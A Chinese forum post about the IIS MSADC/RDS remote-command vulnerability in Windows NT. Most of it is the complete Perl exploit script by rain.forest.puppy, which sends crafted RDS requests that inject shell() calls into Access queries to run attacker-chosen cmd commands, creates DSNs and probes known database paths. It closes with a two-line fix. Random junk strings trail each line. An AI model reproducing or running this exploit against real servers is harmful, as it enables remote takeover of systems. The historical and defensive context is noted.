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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) @zGF9O<3,@  
f['I4 /o  
涉及程序: l_k:OZ  
Microsoft NT server  XY)X-K$  
Q'U!  
描述: gZHgL7@  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $\/i t  
XK~HfA?  
详细: ](I||JJa9f  
如果你没有时间读详细内容的话,就删除: UR'v;V&Cb\  
c:\Program Files\Common Files\System\Msadc\msadcs.dll koB'Zp/FaY  
有关的安全问题就没有了。 *v#V%_o  
(KO]>!t  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 -75mgOj.#  
6b*xhu\  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 GX23c i  
关于利用ODBC远程漏洞的描述,请参看: i^WY/ OhL  
-[!t=qi  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "wH(t k4  
x7B;\D#`i/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 "} :CM_  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp WBKf)A^S  
YuuTLX%3  
这里不再论述。 ^coCsV^CW"  
(Jb#'(~a  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Ot.v%D`e 5  
g mWwlkf9  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 3L2NenJB  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! r5[pT(XT]  
L5UZ@R,  
ftmP dha%+  
#将下面这段保存为txt文件,然后: "perl -x 文件名" nh7_ jEX  
UvMkL  
#!perl U8aVI  
# RKzO$T  
# MSADC/RDS 'usage' (aka exploit) script |t"CH'KJZ  
# :tbI=NDb  
# by rain.forest.puppy }72\Aw5  
# I[rR-4.F]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me '<,Dz=  
# beta test and find errors! V~jp  
, XscO7  
use Socket; use Getopt::Std; dU_;2d$  
getopts("e:vd:h:XR", \%args); FD!8o  
+hKU]DP2;  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; "Plo[E  
W*iTg%a\k  
if (!defined $args{h} && !defined $args{R}) { f>xi (0  
print qq~ Z@Q/P(t  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ;4dFL\KU  
-h <host> = host you want to scan (ip or domain) d<Lc&wlP  
-d <seconds> = delay between calls, default 1 second f5M;q;  
-X = dump Index Server path table, if available ,ye[TQ\,M  
-v = verbose W3ms8=z  
-e = external dictionary file for step 5 s;Bh69  
6? lAbW  
Or a -R will resume a command session ]Vj($O:  
XXm7rn  
~; exit;} " ;Cf@}i>  
*Dq ++  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; byP<!p*  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} )Vy0V=  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} k:7Gb7\  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); vx7=I\1  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ic}TiTK  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } B T}l"  
iM7 ^  
if (!defined $args{R}){ $ret = &has_msadc; o%-KO? YW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 0N)DHD?U  
A ?tna6W:  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" *BrGh  
. "cmd /c "; h$sOJs~6h  
$in=<STDIN>; chomp $in; *[i49X&rd  
$command="cmd /c " . $in ; 5"G-r._  
e[Vk+Te7  
if (defined $args{R}) {&load; exit;} gT+wn-3  
4V{&[ Z  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; iEI#J!~  
&try_btcustmr; P9:5kiP H  
FS)# v  
print "\nStep 2: Trying to make our own DSN...";  96;5  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; sk07|9nU  
A[@koLCL  
print "\nStep 3: Trying known DSNs..."; fp(zd;BSQ  
&known_dsn; $;(@0UDE  
H_XspiB@  
print "\nStep 4: Trying known .mdbs..."; *MlEfmB(  
&known_mdb; PepR ]ym  
pdFO!A_t  
if (defined $args{e}){ |Wa.W0A  
print "\nStep 5: Trying dictionary of DSN names..."; qGhg?u"n:  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ?Hdu=+ZV  
) x+edYw  
print "Sorry Charley...maybe next time?\n"; z}==6| {  
exit; aso8,mpZuA  
zICCSF&H  
############################################################################## Nw9:Gi  
}8YY8|]LI  
sub sendraw { # ripped and modded from whisker :81d~f7  
sleep($delay); # it's a DoS on the server! At least on mine... {A< 961  
my ($pstr)=@_; h|PC?@jp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || cR!M{U.q  
die("Socket problems\n"); nC[aEZ7  
if(connect(S,pack "SnA4x8",2,80,$target)){ /9gn)q2f(  
select(S); $|=1; 8PVjNS/  
print $pstr; my @in=<S>; !U}2YM J  
select(STDOUT); close(S); 04}8x[t  
return @in; 21Dc.t{  
} else { die("Can't connect...\n"); }} "l-#v| 54  
WcT= 5G  
############################################################################## u23_*W\  
x'\C'zeF  
sub make_header { # make the HTTP request g yV>k=B  
my $msadc=<<EOT 'wYIJK~1  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ig YYkt  
User-Agent: ACTIVEDATA SWhzcqp  
Host: $ip ;ow)N <Z  
Content-Length: $clen PW5)") z  
Connection: Keep-Alive |By[ev"Kh%  
"P|n'Mx  
ADCClientVersion:01.06 WvArppANo  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 2 z#S| $  
.hG*mXw>  
--!ADM!ROX!YOUR!WORLD! )qMbk7:v\  
Content-Type: application/x-varg l(87s^_  
Content-Length: $reqlen G!B:>P|\l  
m44a HBwId  
EOT ^$% Sg//  
; $msadc=~s/\n/\r\n/g; ZCZ@ZN  
return $msadc;} 4'`P+p"A  
}@t" B9D  
############################################################################## 1|w@f&W"  
ORF:~5[YS`  
sub make_req { # make the RDS request + a nsN~3  
my ($switch, $p1, $p2)=@_; -n[(0n3c  
my $req=""; my $t1, $t2, $query, $dsn; [[^95:  
c'3N;sZ*B  
if ($switch==1){ # this is the btcustmr.mdb query 45wtl/^9  
$query="Select * from Customers where City=" . make_shell(); ? _bFe![q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . iSoQ1#MP)2  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} XKws_  
u;t~ z  
elsif ($switch==2){ # this is general make table query Z|x|8 !D  
$query="create table AZZ (B int, C varchar(10))"; 573,b7Yf  
$dsn="$p1";} %1jcY0zEQ  
pZ \7!rON  
elsif ($switch==3){ # this is general exploit table query T^`; wD  
$query="select * from AZZ where C=" . make_shell(); [PUu9rz#  
$dsn="$p1";} lqMr@ :t  
`#l3a  
elsif ($switch==4){ # attempt to hork file info from index server *-Yw%uR  
$query="select path from scope()"; T_D] rMl  
$dsn="Provider=MSIDXS;";} =$)M-;6  
,e9M%VIu6[  
elsif ($switch==5){ # bad query IaSpF<&Y;  
$query="select"; <>{m+=gA  
$dsn="$p1";} ~AYleM  
i@5Fne  
$t1= make_unicode($query); ihwJBN>(  
$t2= make_unicode($dsn); 3 1-p/  
$req = "\x02\x00\x03\x00"; `?N0?;  
$req.= "\x08\x00" . pack ("S1", length($t1)); m }HaJ  
$req.= "\x00\x00" . $t1 ; \ B84  
$req.= "\x08\x00" . pack ("S1", length($t2)); ZfqN4  
$req.= "\x00\x00" . $t2 ; 6MY<6t0a  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 'n-y*f  
return $req;} /u.ZvY3,  
3BCD0 %8  
############################################################################## jMTM:~0N  
]7K2S{/o{  
sub make_shell { # this makes the shell() statement 7`A]X,:  
return "'|shell(\"$command\")|'";} D@68_sn  
#I453  
############################################################################## w5%i  
Mhti  
sub make_unicode { # quick little function to convert to unicode :zKMw=  
my ($in)=@_; my $out; 4L8hn4F  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } G'G8`1Nj  
return $out;} Wpl/CO5z  
qT(6TP  
############################################################################## /qIl)+M  
7g"u)L&32  
sub rdo_success { # checks for RDO return success (this is kludge) ^O+(eA7E  
my (@in) = @_; my $base=content_start(@in); >god++,o  
if($in[$base]=~/multipart\/mixed/){ ]nB|8k=J  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} \298SH(!7  
return 0;} u>:(MARsR  
@ G)yz!H  
############################################################################## ;H~<.QW  
m?<E >-bI  
sub make_dsn { # this makes a DSN for us ~o%igJ }.C  
my @drives=("c","d","e","f"); @lE'D":?  
print "\nMaking DSN: "; -%yrs6  
foreach $drive (@drives) { ;50&s .gZ  
print "$drive: "; }/ vW"&h-  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 6u+aP  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" I6f/+;E  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); m]AT-]*f  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ed q,:  
return 0 if $2 eq "404"; # not found/doesn't exist eyyME c!  
if($2 eq "200") { '{jr9Vh  
foreach $line (@results) { "hf |7E_  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ]9y\W}j  
} return 0;} 8;DDCop 8L  
Q&I`uS=F  
############################################################################## `nl n@ ;  
.M^[/!  
sub verify_exists { tWIJ,_8l  
my ($page)=@_; ciS,  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6qH0]7maI  
return $results[0];} <R /\nYXz  
kUgfFa#_  
############################################################################## V3t#kv  
@GFB{ ;=  
sub try_btcustmr { ~bhS$*t64  
my @drives=("c","d","e","f"); LjBIRV7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \]u;NbC]  
G*@!M%/  
foreach $dir (@dirs) { _2!8,MX  
print "$dir -> "; # fun status so you can see progress )e,O+w"  
foreach $drive (@drives) { Y/FPkH4  
print "$drive: "; # ditto 9dhEQ=K{3  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; r!2U#rz  
$reqlenlen=length( "$reqlen" ); w]0@V}}u$o  
$clen= 206 + $reqlenlen + $reqlen; [Vo5$w  
V9<`?[Usv  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); "ntP928  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} $mn0I69  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 06S R74  
~Ba=nn8Cq  
############################################################################## W}CM;~*L  
uX6yhaOp|  
sub odbc_error { LTTMa-]Yy  
my (@in)=@_; my $base; {p84fR1P  
my $base = content_start(@in); t R|dnC4U  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 9RJF  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h)HEexyRg  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Kgu8E:nL  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sCFxn  
return $in[$base+4].$in[$base+5].$in[$base+6];} i3,IEN  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Mqr_w!8d  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . !5o j~H  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} e|\xF V=4  
gA!@oiq@  
############################################################################## Wb-C0^dTn  
pd|KIs%jl  
sub verbose { Jay"  
my ($in)=@_; \l~^dn}  
return if !$verbose; RRIh;HhX  
print STDOUT "\n$in\n";} |vI`u[P  
SeD}H=,@  
############################################################################## -&5YRfr!  
aTuu",f  
sub save { Y_JQPup  
my ($p1, $p2, $p3, $p4)=@_; $^ws#}j  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; G#n 4g :K  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 0X=F(,>9  
close OUT;} J-v1"7[2GC  
XM rk2]_  
############################################################################## U)/.wa>  
\Oeo"|  
sub load { B.q/}\ ?(  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; & o5x  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 5#K*75>  
@p=<IN>; close(IN); M ^o_='\bE  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); x}+zhRJ  
$target= inet_aton($ip) || die("inet_aton problems"); fST.p|b7  
print "Resuming to $ip ..."; p0Jr{hM  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; : {p'U2  
if($p[1]==1) { =yf) Z^  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ]M7FIDg  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; F8f}PV]b  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); .[Sis<A]%  
if (rdo_success(@results)){print "Success!\n";} 1M]=Nv  
else { print "failed\n"; verbose(odbc_error(@results));}} ubcB <=xb  
elsif ($p[1]==3){ y{%0[x*N<m  
if(run_query("$p[3]")){ s#9q3JV0  
print "Success!\n";} else { print "failed\n"; }} 4S<M9A}  
elsif ($p[1]==4){ 7~Y\qJ4b  
if(run_query($drvst . "$p[3]")){ MCKN.f%lP  
print "Success!\n"; } else { print "failed\n"; }} g#J` 7n  
exit;} 7D6`1 &  
{&=+lr_h?  
############################################################################## YB38K(  
s1:Wrz?4  
sub create_table { xyp{_ MZ  
my ($in)=@_; 8xPt1Sotq[  
$reqlen=length( make_req(2,$in,"") ) - 28; oac)na:O#  
$reqlenlen=length( "$reqlen" ); *F\wWg'!B  
$clen= 206 + $reqlenlen + $reqlen; n i#jAwkN5  
my @results=sendraw(make_header() . make_req(2,$in,"")); SqM>xm  
return 1 if rdo_success(@results); 0q}i5%m7  
my $temp= odbc_error(@results); verbose($temp); h?mDtMCw2  
return 1 if $temp=~/Table 'AZZ' already exists/; S,m(  
return 0;} \P<aK$g  
5Gz!Bf@!!  
############################################################################## @Zt~b'n  
;c!> =  
sub known_dsn { =;Gq:mHi  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 0*gvHVd/l  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", r9[S%Def  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Z`Y&cKsn  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 'f5 8Jwql  
!eW1d0n'+f  
foreach $dSn (@dsns) { K:,V>DL  
print "."; 2n<Mu Q]  
next if (!is_access("DSN=$dSn")); Qs&;MW4q  
if(create_table("DSN=$dSn")){ G4* LO  
print "$dSn successful\n"; #Rw!a#CX.  
if(run_query("DSN=$dSn")){ 2u3Kyn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !oWB5x~:P  
print "Something's borked. Use verbose next time\n";}}} print "\n";} daE.y_9y  
;b<w'A_1  
############################################################################## $}9jv3>)  
6'^_*n  
sub is_access { 9@ k8$@  
my ($in)=@_; ]o6 ZZK  
$reqlen=length( make_req(5,$in,"") ) - 28; vqm|D&HU  
$reqlenlen=length( "$reqlen" ); vpQ&vJfR  
$clen= 206 + $reqlenlen + $reqlen; TeHJj`rdAU  
my @results=sendraw(make_header() . make_req(5,$in,"")); O~3 A>j  
my $temp= odbc_error(@results); u{sHuVl  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); i2=- su  
return 0;} W/Dd7 G#IC  
L@N %S Sf  
############################################################################## 2"IV  
z`{sD]  
sub run_query { _Mw3>GNl  
my ($in)=@_; j4~(6Imm  
$reqlen=length( make_req(3,$in,"") ) - 28; ,lZ19B?WP  
$reqlenlen=length( "$reqlen" ); j4$nr=d.6  
$clen= 206 + $reqlenlen + $reqlen; F s/CW\  
my @results=sendraw(make_header() . make_req(3,$in,"")); +_5*4>MC  
return 1 if rdo_success(@results); N!+=5!  
my $temp= odbc_error(@results); verbose($temp); hA7=:LG  
return 0;} ^'`b\$km-0  
_{[6hf4p  
############################################################################## 3#7V1  
1&w%TRC2x  
sub known_mdb { k2}DBVu1  
my @drives=("c","d","e","f","g"); 67j kU!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); C QkY6  
my $dir, $drive, $mdb; p{Lrv%-j  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; DQG%`-J  
..N6]u  
# this is sparse, because I don't know of many Nq8ON!<<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", cYSn   
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4.O)/0sU  
"\\system32\\certmdb.mdb", "N+4TfXy  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% YVIE v  
&g :(I  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", g}_2T\$k  
"\\cfusion\\cfapps\\forums\\forums_.mdb", "~4V(  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", iOiF kka  
"\\cfusion\\cfapps\\security\\realm_.mdb", '2lV(>"  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", v "l).G?  
"\\cfusion\\database\\cfexamples.mdb", /~,*DH$)  
"\\cfusion\\database\\cfsnippets.mdb", HPtMp#`T  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Vn#}f=u\  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", %]P{)*y-?  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5226 &N  
"\\cfusion\\database\\smpolicy.mdb", |8 ` }8vo)  
"\\cfusion\\database\cypress.mdb", ex>7f%\  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 9\8ektq}Z  
"\\website\\cgi-win\\dbsample.mdb", V(ELrjB0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", xlv(PVdn  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" oCT,v0+4O  
); #these are just Wl| i$L)7  
foreach $drive (@drives) { w%L4O;E]*{  
foreach $dir (@dirs){ f I1CT)0<e  
foreach $mdb (@sysmdbs) { qiz(k:\o  
print "."; K|%Am4  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ^G!cv  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; mV}bQ^*?Z  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ xp|1yud  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ^Mq/Cf_T  
} else { print "Something's borked. Use verbose next time\n"; }}}}} @X/ 1`Mp  
By1T um+I1  
foreach $drive (@drives) { c7CYulm  
foreach $mdb (@mdbs) { .gO|=E"  
print "."; J!Z6$VERy  
if(create_table($drv . $drive . $dir . $mdb)){ %R GZu\p  
print "\n" . $drive . $dir . $mdb . " successful\n"; o*K7(yUL4  
if(run_query($drv . $drive . $dir . $mdb)){ 0>Y3xNb  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |k}<Zz1UM  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8g -u  
} %n$f#Ml_r  
[{Wo:c9Qq1  
############################################################################## 6FDj:~  
qc(e3x  
sub hork_idx { )>~ jjR  
print "\nAttempting to dump Index Server tables...\n"; 3EYEd39E  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; z</C)ObL  
$reqlen=length( make_req(4,"","") ) - 28; ?NA $<0  
$reqlenlen=length( "$reqlen" ); P%R!\i  
$clen= 206 + $reqlenlen + $reqlen;  ?s,oH  
my @results=sendraw2(make_header() . make_req(4,"","")); @|A!?}  
if (rdo_success(@results)){ Sh#N5kgD  
my $max=@results; my $c; my %d; 1uw1(iL+  
for($c=19; $c<$max; $c++){ .=:f]fs  
$results[$c]=~s/\x00//g; W3~u J(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; cW^LmA  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ^_#wo"  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; q 4Pv\YO  
$d{"$1$2"}="";} _i>_Sn1"  
foreach $c (keys %d){ print "$c\n"; } `R0~mx&6G  
} else {print "Index server doesn't seem to be installed.\n"; }} jm%P-C @  
#`y[75<n  
############################################################################## K~#?Y,}O  
e6p3!)@P1  
sub dsn_dict { sqhMnDn[  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); M"*NV(".g  
while(<IN>){ d'(n/9K  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; GP+=b:C{E  
next if (!is_access("DSN=$dSn")); b'pwRKpx  
if(create_table("DSN=$dSn")){ _#\Nw0{  
print "$dSn successful\n"; lL zR5445)  
if(run_query("DSN=$dSn")){ < }K9 50  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]s Euh~F  
print "Something's borked. Use verbose next time\n";}}} ;BuMzG:tmZ  
print "\n"; close(IN);} &en2t=a  
gq?O}gVD  
############################################################################## T[4xt,[a  
Rir0^XqG  
sub sendraw2 { # ripped and modded from whisker kb 74:  
sleep($delay); # it's a DoS on the server! At least on mine... A$p&<#  
my ($pstr)=@_; xDeM7L'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ="]lN  
die("Socket problems\n"); 8b0j rt  
if(connect(S,pack "SnA4x8",2,80,$target)){ n ^9?(a4u  
print "Connected. Getting data"; qt.4dTd:_  
open(OUT,">raw.out"); my @in; ;G`]`=s#Lq  
select(S); $|=1; print $pstr; v RtERFL  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} MP}-7UA#K  
close(OUT); select(STDOUT); close(S); return @in; uPl7u 1c  
} else { die("Can't connect...\n"); }} +6>2= ,?Z  
DI)"F OM6  
############################################################################## 1PxRj  
kYCm5g3u  
sub content_start { # this will take in the server headers #}fvjJ{  
my (@in)=@_; my $c; y~*B%KnEQy  
for ($c=1;$c<500;$c++) { ^jL44? W}l  
if($in[$c] =~/^\x0d\x0a/){ ax5n}  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } w}6~t\9D  
else { return $c+1; }}} '`k  
return -1;} # it should never get here actually G8]{pbX  
t ^>07#z  
############################################################################## = mQY%l  
Q0`@=5?-  
sub funky { V}vL[=QFZ(  
my (@in)=@_; my $error=odbc_error(@in); 7V^j9TC  
if($error=~/ADO could not find the specified provider/){ 8~qpOQX^V  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; [Y@}{[q5  
exit;} )/f#~$ws  
if($error=~/A Handler is required/){ uFmpc7  
print "\nServer has custom handler filters (they most likely are patched)\n"; ~{g/  
exit;} A##Q>|>)  
if($error=~/specified Handler has denied Access/){ .z$UNB(!M  
print "\nServer has custom handler filters (they most likely are patched)\n"; 44n41.Q]  
exit;}} ?mV2|;  
 W;yg{y   
############################################################################## )w}'kih  
IecD41%  
sub has_msadc { o;9H~E  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); AvIheR  
my $base=content_start(@results); EhD%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); QHXpX9  
return 0;} 1IgTJ" \  
8>|4iT  
######################## /QlzWson  
{>64-bU  
= ?/6hB=7<  
解决方案: 7"eIZ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll kVeY} 8  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 cjLA7I.O  
B'B0e`  
拿出来充数 哈哈
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